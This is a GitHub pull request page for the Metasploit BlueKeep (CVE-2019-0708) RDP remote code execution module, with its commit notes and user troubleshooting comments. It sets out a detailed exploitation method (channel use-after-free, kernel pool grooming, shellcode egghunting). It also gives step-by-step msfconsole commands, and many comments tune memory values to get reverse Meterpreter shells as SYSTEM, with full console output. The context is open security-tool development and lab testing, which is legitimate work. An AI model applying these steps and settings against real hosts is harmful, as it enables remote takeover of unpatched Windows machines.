Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add initial exploit for CVE-2019-0708, BlueKeep #12283

Open
wants to merge 44 commits into
base: master
from

Conversation

@bcook-r7
Copy link
Contributor

commented Sep 6, 2019

This PR adds an exploit module for CVE-2019-0708, a.k.a. BlueKeep, exploiting a remote Windows kernel use-after-free vulnerability via RDP. The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution.

This module was originally developed by @zerosum0x0 and @ryhanson, then further moved along by @OJ, @zeroSteiner, @rickoates, @wvu-r7, @bwatters-r7, @wchen-r7, @tsellers-r7, @todb-r7 and others. The module was ported from a Python external module to a native Ruby module in order to take advantage of the RDP and other library enhancements in Metasploit. The original Python module is in the commit history if you wish to examine and compare it the the current implementation.

The module currently targets 64-bit versions of Windows 7 and Windows Server 2008 R2. For Windows Server 2008 R2, a registry entry needs to be modified to enable heap grooming via the RDPSND channel, though there remain other possibilities to explore for using alternate channels that are enabled by default on all Windows OSes.

The module is currently ranked as Manual, as the user needs to supply additional target information or risk crashing the target host. The module implements a default fingerprint-only TARGET option that just checks for a vulnerable host and displays some initial information about the specific target OS, but the user will need to specify a more exact target based on secondary recon, or until further improvements in this module enable more accurate determination of the target kernel memory layout at runtime.

There are specific targets for bare-metal, Virtualbox, VMware, and Hyper-V, though there may be additional variables in your target environment that additionally shift the base address for grooming, so we welcome any ideas from the community for automatically detecting this instead!

Todo

  • Fix error handling when licensing is incorrect
  • Handle low-bandwidth networks more gracefully
  • Add detection for whether RDPSND channel-based grooming will work

Optional Todo

  • Detect more OS specifics / obtain memory leak to determine Windows NPP start address
  • Write the XP/2003 portions grooming MS_T120.
  • Expand channels besides RDPSND/MS_T120 for grooming.

Verification

  • Start msfconsole
  • use exploit/rdp/cve_2019_0708_bluekeep_rce
  • set RHOSTS to target hosts (x64 Windows 7 or 2008 R2)
  • set PAYLOAD and associated options as desired
  • set TARGET to a more specific target based on your environment
  • Verify that you get a shell
  • Verify the target does not crash

Exploitation Sample Output

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run
[*] Exploiting target 192.168.56.101

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.101:3389   - Detected RDP on 192.168.56.101:3389   (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.56.101:3389   - The target is vulnerable.
[-] 192.168.56.101:3389 - Exploit aborted due to failure: bad-config: Set the most appropriate target manually
[*] Exploiting target 192.168.56.105
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.105:3389   - Detected RDP on 192.168.56.105:3389   (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.56.105:3389   - The target is vulnerable.
[-] 192.168.56.105:3389 - Exploit aborted due to failure: bad-config: Set the most appropriate target manually
[*] Exploit completed, but no session was created.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 2
target => 2
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run
[*] Exploiting target 192.168.56.101

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.101:3389   - Detected RDP on 192.168.56.101:3389   (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.56.101:3389   - The target is vulnerable.
[*] 192.168.56.101:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8011e07000, Channel count 1.
[*] 192.168.56.101:3389 - Surfing channels ...
[*] 192.168.56.101:3389 - Lobbing eggs ...
[*] 192.168.56.101:3389 - Forcing the USE of FREE'd object ...
[*] Sending stage (206403 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:49159) at 2019-09-06 01:26:40 -0500
[*] Session 1 created in the background.
[*] Exploiting target 192.168.56.105
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.105:3389   - Detected RDP on 192.168.56.105:3389   (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.56.105:3389   - The target is vulnerable.
[*] 192.168.56.105:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8011e07000, Channel count 1.
[*] 192.168.56.105:3389 - Surfing channels ...
[*] 192.168.56.105:3389 - Lobbing eggs ...
[*] 192.168.56.105:3389 - Forcing the USE of FREE'd object ...
[*] Sending stage (206403 bytes) to 192.168.56.105
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.105:49158) at 2019-09-06 01:26:58 -0500
[*] Session 2 created in the background.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ BCOOK-PC         192.168.56.1:4444 -> 192.168.56.101:49159 (192.168.56.101)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN-VVEKS0PTPFB  192.168.56.1:4444 -> 192.168.56.105:49158 (192.168.56.105)
todb-r7 and others added 30 commits Jul 31, 2019
Add rdp_bluekeep.py and needs work
From zerosum0x0:

Exploitation and Caveats:
1. You register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
2. Full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
3. You free MS_T120 with the DisconnectProviderIndication message to MS_T120.
4. RDP has chunked messages, so we use this to groom.
   a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
   b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
       i. RDPSND only works when HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
       ii. This registry key is not a default setting for server 2008 R2. SHITTY ISSUE
5. Use chunked grooming to fit new data in the freed channel, account for the allocation header size (like 0x38 I think?). At offset 0x100? is where the "call [rax]" gadget will get its pointer from.
   a. The NonPagedPool (NPP) starts at a fixed address on XP-7
       i. Hot-swap memory is another SHITTY ISSUE. With certain VMWare and Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP start. This can be anywhere from 100 mb to gigabytes of offset before the NPP start.
   b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
   c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an indirect call
   d. We are limited to 0x400 payloads by channel chunk max size. My current shellcode is a twin shellcode with eggfinders. I spam the kernel payload and user payload, and if user payload is called first it will egghunt for the kernel payload.
6. After channel hole is filled and the NPP is spammed up with shellcode, trigger the free by closing the socket.
TODO:
* You can use the scanner methodology to detect x86/x64, but I'm still not sure how to detect OS, other than XP nominally will not use SSL and 7 will.
* The whole thing needs to be swapped to the Ruby version. Tom Sellers client is nicer and works for XP whereas this python client will not (when I wrote this module it was still in progress)
* Write the XP/2003 portions grooming MS_T120.
* Can we detect if RDPSND grooming is working or not?
* Any channels besides RDPSND/MS_T120 work for the grooming? (I've gone through about 10 books on NT RDP and reversed enough to doubt it)

https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming MS_T120 on XP... should be same process as the RDPSND
Payload shellcode for Bluekeep from zerosum
Not sure where these should go, adjust to taste.
Refactor RDP mixin to hide socket details
When dealing with the RDP mixin it makes more sense to not expose
TCP-level things, instead it's better to talk RDP. This changeset makes
it so that consumers of the RDP mixin talk RDP only. They can access the
socket through the `rdp_socket` member if required, but the changes made
here mean they don't have to. Ultimately, this new member should be
`private` instead of `protected`, but I'm leaving it like this for now
in case it is required down the track.

I've also made the assumption that all RDP connects want TCP_NODELAY
set. This might be wrong, but I don't think it is.

From here, users can call `rdp_connect` and `rdp_disconnect` to manage
connectivity to the RDP endpoint. The `rdp_connect` function does not
register the TCP client socket as the global `sock` member on the TCP
module instance, this is to prevent the mixin from clashing with other
users of the TCP client in a given module.
Refactor of RDP mixin to make it more configurable
Slowly moving away from a huge hard-coded blob of inflexible bytes
towards a more data-driven approach that allows configuration of various
elements of the packets that are generated.
Lots more RDP mixin changes, and first pass of ruby exploit
This code is at the point where we SHOULD see a crash (given that the
payloads in use for kernel/user are both just As and Bs (deliberate at
this point).

Unforunately the exploit does not result in a crash. Things just keep
on going! I've looked at the difference in the traffic across the two
different exploits (py and rb) and what's clear is that the mixin is
doing a lot more work at the start.

Also, the mixin generates packets of smaller size in the way that it
encodes data (ie. it doesn't always use 2 bytes for a short value, it'll
use 1 instead if only 1 is required).

Pretty sure that the size issues aren't the problem, I think there's
something else in play. I'm at the point where diving into the RDP stuff
even more isn't inspiring so I'm hoping that opening this up to collab
will help us move forward.
Another attempt to get bluekeep working
For some reason the existing kernel payload doesn't work with the
exploit as it currently stands, which is very odd given that everything
else seems to be in order.

Hoping to get some help from the rest of the MSF folks as right now
I don't think I can trust the tools that I'm using.
add pre/post processor phase to address metasm limits
This adds a pre/post processor phase that allows specifying relative
label offsets when loading effective addresses from metasm-generated
code.
@timwr

This comment was marked as resolved.

Copy link
Contributor

commented Sep 9, 2019

@Et0hacker I've already posted the commands in detail twice:

$ git clone https://github.com/rapid7/metasploit-framework.git
$ cd metasploit-framework
$ git fetch origin pull/12283/head:bluekeep
$ git checkout bluekeep
$ gem install bundler && bundle
$ msfconsole -q
msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

You'll have to use Google if it's not working for you. Continually asking here won't help.

@Et0hacker

This comment was marked as resolved.

Copy link

commented Sep 9, 2019

@mr-r3b00t

This comment has been minimized.

Copy link

commented Sep 9, 2019

has anyone BSOD'd a physical machine? I've not got a physical machine with Windows 7 Sp1 to test on (might have one somewhere...)

@newxianlife

This comment has been minimized.

Copy link

commented Sep 9, 2019

has anyone BSOD'd a physical machine? I've not got a physical machine with Windows 7 Sp1 to test on (might have one somewhere...)

I think they marked it as a bug, lets wait when they release a fix for the physical machine.

@keisentraut

This comment has been minimized.

Copy link

commented Sep 9, 2019

The hardcoded value of GROOMBASE for VirtualBox value was wrong for me, too when eploiting Win7 SP1 Build 7601 on Virtualbox 6.0 with Win10 host. I didn't understand the exploit in detail, but I think GROOMBASE simply needs to be the start address of the NonPagedPool. I found this address by dumping the memory with VBoxManage and then running rekall as suggested by KevTheHermit on Twitter. Please see my blog for details how I did it.

I had to reduce GROOMSIZE from the default of 250 to 50, too. I think the reason was that my VM had kind of limited RAM (2GB) assigned and 250 MB of grooming is too much, therefore the connection is reset before the actual exploit is triggered.

@GarrettVD

This comment has been minimized.

Copy link

commented Sep 9, 2019

We have some Windows Server 2008 R2 x64 and Windows 7 SP1 x64 machines in vSphere which also result in BSOD. I suspect the NonPagedPool memory offset (or rather the GROOMBASE) may need to be another value.

@pple9000

This comment has been minimized.

Copy link

commented Sep 9, 2019

@Et0hacker,if you don't know how to install the pull files(basic knowledge),you should not use it,just wait for this module to land.
Also,this pull request is for reporting the testing issue.If you still have a problem,you should open a issue in "issue" instead!

@e24ncn

This comment has been minimized.

Copy link

commented Sep 10, 2019

The hardcoded value of GROOMBASE for VirtualBox value was wrong for me, too when eploiting Win7 SP1 Build 7601 on Virtualbox 6.0 with Win10 host. I didn't understand the exploit in detail, but I think GROOMBASE simply needs to be the start address of the NonPagedPool. I found this address by dumping the memory with VBoxManage and then running rekall as suggested by KevTheHermit on Twitter. Please see my blog for details how I did it.

I had to reduce GROOMSIZE from the default of 250 to 50, too. I think the reason was that my VM had kind of limited RAM (2GB) assigned and 250 MB of grooming is too much, therefore the connection is reset before the actual exploit is triggered.

This worked for me. Thank you for your Excellent Work keisentraut

@cyrilkk

This comment has been minimized.

Copy link

commented Sep 10, 2019

Error: No session created

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options

Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):

Name Current Setting Required Description


RDP_CLIENT_IP 192.168.0.100 yes The client IPv4 address to report during connect
RDP_CLIENT_NAME ethdev no The client computer name to report during connect, UNSET = random
RDP_DOMAIN no The client domain name to report during connect
RDP_USER no The username to report during connect, UNSET = random
RHOSTS 192.168.192.136 yes The target address range or CIDR identifier
RPORT 3389 yes The target port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description


EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.192.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name


1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[] Started reverse TCP handler on 192.168.192.128:4444
[
] 192.168.192.136:3389 - Detected RDP on 192.168.192.136:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.192.136:3389 - The target is vulnerable.
[] 192.168.192.136:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8013200000, Channel count 1.
[
] 192.168.192.136:3389 - Surfing channels ...
[] 192.168.192.136:3389 - Lobbing eggs ...
[
] 192.168.192.136:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.

@elkoyote07

This comment has been minimized.

Copy link

commented Sep 10, 2019

my error of exploit

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options

Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   RDP_CLIENT_IP    192.168.0.100    yes       The client IPv4 address to report during connect
   RDP_CLIENT_NAME  ethdev           no        The client computer name to report during connect, UNSET = random
   RDP_DOMAIN                        no        The client domain name to report during connect
   RDP_USER                          no        The username to report during connect, UNSET = random
   RHOSTS           10.15.1.85       yes       The target address range or CIDR identifier
   RPORT            3389             yes       The target port (TCP)


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.15.1.77       yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)


msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[*] Started reverse TCP handler on 10.15.1.77:4444 
[+] 10.15.1.85:3389       - The target is vulnerable.
[-] 10.15.1.85:3389 - Exploit failed: NameError undefined local variable or method `rdp_connect' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007fcf6ceb2358>
Did you mean?  disconnect
[*] Exploit completed, but no session was created.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > 

Try to replace all 4 new elements with the old ones, and restart msfconsole.

https://github.com/rapid7/metasploit-framework/pull/12283/files

Elements:
lib/msf/core/exploit/rdp.rb
modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
modules/auxiliary/scanner/rdp/rdp_scanner.rb
modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

Done but still same error.

@stormfleet

This comment has been minimized.

Copy link

commented Sep 10, 2019

The hardcoded value of GROOMBASE for VirtualBox value was wrong for me, too when eploiting Win7 SP1 Build 7601 on Virtualbox 6.0 with Win10 host. I didn't understand the exploit in detail, but I think GROOMBASE simply needs to be the start address of the NonPagedPool. I found this address by dumping the memory with VBoxManage and then running rekall as suggested by KevTheHermit on Twitter. Please see my blog for details how I did it.

I had to reduce GROOMSIZE from the default of 250 to 50, too. I think the reason was that my VM had kind of limited RAM (2GB) assigned and 250 MB of grooming is too much, therefore the connection is reset before the actual exploit is triggered.

Just for anyone who was having trouble making this work (like myself), when you calculate your new start memory address for the NonPagedPool, make sure you add the correct amount of ff's back into the memory address. So I had to have 5 f's in my memory address to get it working.

@MarcMoeHx

This comment has been minimized.

Copy link

commented Sep 10, 2019

short feedback:

Windows 10 computer / VMWARE Workstation 15 / Windows 2008R2 guest with RDP.
I had to adjust the GROOMBASE (fa8018c04000) and GROOMSIZE (also to 50 MB).
Before i got "Error: Connection reset by peer".
After changing values exploit and reverse shell was succesfull

With vmss2core.exe from VMWARE and rekall it was easy, see the blog entry.

See here:

The hardcoded value of GROOMBASE for VirtualBox value was wrong for me, too when eploiting Win7 SP1 Build 7601 on Virtualbox 6.0 with Win10 host. I didn't understand the exploit in detail, but I think GROOMBASE simply needs to be the start address of the NonPagedPool. I found this address by dumping the memory with VBoxManage and then running rekall as suggested by KevTheHermit on Twitter. Please see my blog for details how I did it.
I had to reduce GROOMSIZE from the default of 250 to 50, too. I think the reason was that my VM had kind of limited RAM (2GB) assigned and 250 MB of grooming is too much, therefore the connection is reset before the actual exploit is triggered.

Just for anyone who was having trouble making this work (like myself), when you calculate your new start memory address for the NonPagedPool, make sure you add the correct amount of ff's back into the memory address. So I had to have 5 f's in my memory address to get it working.

@abhijithbr

This comment has been minimized.

Copy link

commented Sep 10, 2019

I was using Win 10 Pro / VMWare 12 pro / Win 7 - 6.1.7600.
I've modified the GROOMBASE value with my VM's NonPagedPool value, which has been generated using Rekall. Also modified the GROOMSIZE value.
For some reason it is not working for me and ends up in BSOD.

[] Started reverse TCP handler on 192.168.80.135:4444
[
] 192.168.80.137:3389 - Detected RDP on 192.168.80.137:3389 (Windows version: 6.1.7600) (Requires NLA: No)
[+] 192.168.80.137:3389 - The target is vulnerable.
[] 192.168.80.137:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa8005602000, Channel count 1.
[
] 192.168.80.137:3389 - Surfing channels ...
[] 192.168.80.137:3389 - Lobbing eggs ...
[
] 192.168.80.137:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.

@aconite33

This comment has been minimized.

Copy link

commented Sep 10, 2019

I had to set my VM (vmware) to 2 GB of memory with 2 cores. Set the GrOOMSIZE to 50 and everything seemed to work against Win7x64, SP1.

set GROOMSIZE 50
set TARGET 3

"Works 100% of the time, 50% of the time." (tm)

@TinToSer

This comment has been minimized.

Copy link

commented Sep 10, 2019

Resolved: Connection Reset and No session Created
VMWARE has configuration-2GB RAM 1 Core
Conclusion: Setting GROOMSIZE 50 worked for me

::::::::::::::::::::::::POC:::::::::::::::

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 100
GROOMSIZE => 100
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[] Started reverse TCP handler on 192.168.43.84:4444
[
] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.43.137:3389 - The target is vulnerable.
[] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 100MB, target address 0xfffffa801f000000, Channel count 1.
[
] 192.168.43.137:3389 - Surfing channels ...
[] 192.168.43.137:3389 - Lobbing eggs ...
[
] 192.168.43.137:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 150
GROOMSIZE => 150
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[] Started reverse TCP handler on 192.168.43.84:4444
[
] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.43.137:3389 - The target is vulnerable.
[] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 150MB, target address 0xfffffa8022200000, Channel count 1.
[
] 192.168.43.137:3389 - Surfing channels ...
[] 192.168.43.137:3389 - Lobbing eggs ...
[-] 192.168.43.137:3389 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[
] Exploit completed, but no session was created.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 50
GROOMSIZE => 50
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[] Started reverse TCP handler on 192.168.43.84:4444
[
] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.43.137:3389 - The target is vulnerable.
[] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa801be00000, Channel count 1.
[
] 192.168.43.137:3389 - Surfing channels ...
[] 192.168.43.137:3389 - Lobbing eggs ...
[
] 192.168.43.137:3389 - Forcing the USE of FREE'd object ...
[] Sending stage (206403 bytes) to 192.168.43.137
[
] Meterpreter session 2 opened (192.168.43.84:4444 -> 192.168.43.137:51854) at 2019-09-10 22:59:44 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

@newxianlife

This comment has been minimized.

Copy link

commented Sep 10, 2019

I had to set my VM (vmware) to 2 GB of memory with 2 cores. Set the GrOOMSIZE to 50 and everything seemed to work against Win7x64, SP1.

set GROOMSIZE 50
set TARGET 3

"Works 100% of the time, 50% of the time." (tm)

Resolved: Connection Reset and No session Created
VMWARE has configuration-2GB RAM 1 Core
Conclusion: Setting GROOMSIZE 50 worked for me

::::::::::::::::::::::::POC:::::::::::::::

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 100
GROOMSIZE => 100
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[] Started reverse TCP handler on 192.168.43.84:4444 [] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.43.137:3389 - The target is vulnerable.
[] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 100MB, target address 0xfffffa801f000000, Channel count 1. [] 192.168.43.137:3389 - Surfing channels ...
[] 192.168.43.137:3389 - Lobbing eggs ... [] 192.168.43.137:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 150
GROOMSIZE => 150
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[] Started reverse TCP handler on 192.168.43.84:4444 [] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.43.137:3389 - The target is vulnerable.
[] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 150MB, target address 0xfffffa8022200000, Channel count 1. [] 192.168.43.137:3389 - Surfing channels ...
[] 192.168.43.137:3389 - Lobbing eggs ... [-] 192.168.43.137:3389 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer [] Exploit completed, but no session was created.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 50
GROOMSIZE => 50
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[] Started reverse TCP handler on 192.168.43.84:4444 [] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.43.137:3389 - The target is vulnerable.
[] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa801be00000, Channel count 1. [] 192.168.43.137:3389 - Surfing channels ...
[] 192.168.43.137:3389 - Lobbing eggs ... [] 192.168.43.137:3389 - Forcing the USE of FREE'd object ...
[] Sending stage (206403 bytes) to 192.168.43.137 [] Meterpreter session 2 opened (192.168.43.84:4444 -> 192.168.43.137:51854) at 2019-09-10 22:59:44 +0530

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Glade to heat its worked for you, but i think it wont work on physical machine.

@MazX0p

This comment has been minimized.

Copy link

commented Sep 10, 2019

I had to set my VM (vmware) to 2 GB of memory with 2 cores. Set the GrOOMSIZE to 50 and everything seemed to work against Win7x64, SP1.

set GROOMSIZE 50
set TARGET 3

"Works 100% of the time, 50% of the time." (tm)

Resolved: Connection Reset and No session Created
VMWARE has configuration-2GB RAM 1 Core
Conclusion: Setting GROOMSIZE 50 worked for me
::::::::::::::::::::::::POC:::::::::::::::
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 100
GROOMSIZE => 100
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run
[] Started reverse TCP handler on 192.168.43.84:4444 [] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.43.137:3389 - The target is vulnerable.
[] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 100MB, target address 0xfffffa801f000000, Channel count 1. [] 192.168.43.137:3389 - Surfing channels ...
[] 192.168.43.137:3389 - Lobbing eggs ... [] 192.168.43.137:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 150
GROOMSIZE => 150
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run
[] Started reverse TCP handler on 192.168.43.84:4444 [] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.43.137:3389 - The target is vulnerable.
[] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 150MB, target address 0xfffffa8022200000, Channel count 1. [] 192.168.43.137:3389 - Surfing channels ...
[] 192.168.43.137:3389 - Lobbing eggs ... [-] 192.168.43.137:3389 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer [] Exploit completed, but no session was created.
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set GROOMSIZE 50
GROOMSIZE => 50
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run
[] Started reverse TCP handler on 192.168.43.84:4444 [] 192.168.43.137:3389 - Detected RDP on 192.168.43.137:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.43.137:3389 - The target is vulnerable.
[] 192.168.43.137:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa801be00000, Channel count 1. [] 192.168.43.137:3389 - Surfing channels ...
[] 192.168.43.137:3389 - Lobbing eggs ... [] 192.168.43.137:3389 - Forcing the USE of FREE'd object ...
[] Sending stage (206403 bytes) to 192.168.43.137 [] Meterpreter session 2 opened (192.168.43.84:4444 -> 192.168.43.137:51854) at 2019-09-10 22:59:44 +0530
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Glade to heat its worked for you, but i think it wont work on physical machine.

yeah its will not work in physical machine

@cyrilkk

This comment has been minimized.

Copy link

commented Sep 10, 2019

Error: No session created

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options

Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):

Name Current Setting Required Description

RDP_CLIENT_IP 192.168.0.100 yes The client IPv4 address to report during connect
RDP_CLIENT_NAME ethdev no The client computer name to report during connect, UNSET = random
RDP_DOMAIN no The client domain name to report during connect
RDP_USER no The username to report during connect, UNSET = random
RHOSTS 192.168.192.136 yes The target address range or CIDR identifier
RPORT 3389 yes The target port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.192.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run

[] Started reverse TCP handler on 192.168.192.128:4444 [] 192.168.192.136:3389 - Detected RDP on 192.168.192.136:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.192.136:3389 - The target is vulnerable.
[] 192.168.192.136:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8013200000, Channel count 1. [] 192.168.192.136:3389 - Surfing channels ...
[] 192.168.192.136:3389 - Lobbing eggs ... [] 192.168.192.136:3389 - Forcing the USE of FREE'd object ...
[*] Exploit completed, but no session was created.

Worked after setting groomsize 50

set payload windows/x64/meterpreter/reverse_tcp
set GROOMSIZE 50

Target options
Id Name


0 Automatic targeting via fingerprinting
1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)
3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)
4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)

[] Started reverse TCP handler on 192.168.192.128:4444
[
] 192.168.192.136:3389 - Detected RDP on 192.168.192.136:3389 (Windows version: 6.1.7601) (Requires NLA: No)
[+] 192.168.192.136:3389 - The target is vulnerable.
[] 192.168.192.136:3389 - Using CHUNK grooming strategy. Size 50MB, target address 0xfffffa801be00000, Channel count 1.
[
] 192.168.192.136:3389 - Surfing channels ...
[] 192.168.192.136:3389 - Lobbing eggs ...
[
] 192.168.192.136:3389 - Forcing the USE of FREE'd object ...
[] Sending stage (206403 bytes) to 192.168.192.136
[
] Meterpreter session 1 opened (192.168.192.128:4444 -> 192.168.192.136:49157) at 2019-09-10 23:46:30 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 2444 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

@razvanionescu

This comment has been minimized.

Copy link

commented Sep 11, 2019

Hi community!
We have also written a blog post here containing a step by step guide on how to get meterpreter session on a Windows 2008 R2 64bit vulnerable VM using Bluekeep: https://pentest-tools.com/blog/bluekeep-exploit-metasploit/.
Thank you!

@fsacer

This comment has been minimized.

Copy link
Contributor

commented Sep 11, 2019

testing this against win7 edge vm on vmware workstation 15 it seems that scanner is broken.

